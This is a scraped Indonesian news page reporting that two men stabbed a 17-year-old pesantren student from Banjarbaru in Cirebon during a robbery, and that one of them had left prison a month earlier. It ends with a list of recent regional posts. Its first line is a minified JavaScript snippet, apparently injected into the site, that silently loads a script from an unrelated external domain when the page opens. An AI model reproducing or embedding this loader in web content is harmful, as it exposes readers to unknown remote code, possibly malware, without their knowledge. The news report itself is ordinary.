(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Pemalak yang Tewaskan Santri Banjarbaru di Cirebon Baru 1 Bulan Keluar Penjara


CIREBON, Pengusutan kasus meninggalkan Muhammad Rozien (17), santri Ponpes Husnul Khotimah asal Banjarbaru yang ditikam pria berinisial YS dan RM, terus berlanjut. YS dan RM tega menikam Rozien menggunakan sebilah pisau.

Pelaku berniat menggasak barang-barang Rozien. Namun Rozien menolak hingga akhirnya ditikam dan tewas saat mendapatkan penanganan di RSUD Gunung Jati, Cirebon. Dari hasil pemeriksaan polisi, YS merupakan pelaku utama kasus pembunuhan Rozien. YS berperan mengeksekusi Rozien, sedangkan RM berperan sebagai joki.

Baca: 2 Pelaku Penusukan Santri Banjarbaru Tertangkap, Mau Kabur Polisi Hadiahi Timah Panas!

 Wakapolresta Cirebon Kompol Marwan Fajrin mengatakan YS tercatat sebagai residivis kasus yang sama, yakni pemerasan dengan kekerasan. Sebulan setelah keluar dari lapas, YS beraksi dan Rozien menjadi korbannya. “Pelaku inisial YS ini residivis, kasus yang sama. Tapi waktu itu tidak terjadi penganiayaan terhadap korbannya,” kata Marwan kepada detikcom, Senin (9/9).

Lebih lanjut, Marwan mengatakan, YS sempat dipenjara selama dua tahun. “Ya katanya baru sebulan keluar dari penjara,” ucapnya.

Seperti diberitakan sebelumnya, polisi membekuk YS dan RM sehari setelah kematian Rozien. Polisi terpaksa menembak kedua pelaku di bagian kakinya lantaran sempat melawan saat diamankan.

Baca: M Rozian, Santri Asal Banjarbaru Tewas Ditusuk Orang Tak Dikenal di Cirebon

 Akibat perbuatannya, pelaku dijerat Pasal 365 dan 368 KUHPidana tentang pencurian dengan kekerasan dan/atau pemerasan dengan ancaman kekerasan masing-masing hukumannya 9 tahun penjara. Kemudian, pelaku dijerat juga dengan Pasal 338 dan 351 KUHPidana tentang pembunuhan dan/atau penganiayaan yang mengakibatkan korban meninggal dunia, masing-masing hukumannya 15 dan tujuh tahun penjara.(tro/dtc)

Reporter : tro/dtc
Editor : Cell

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.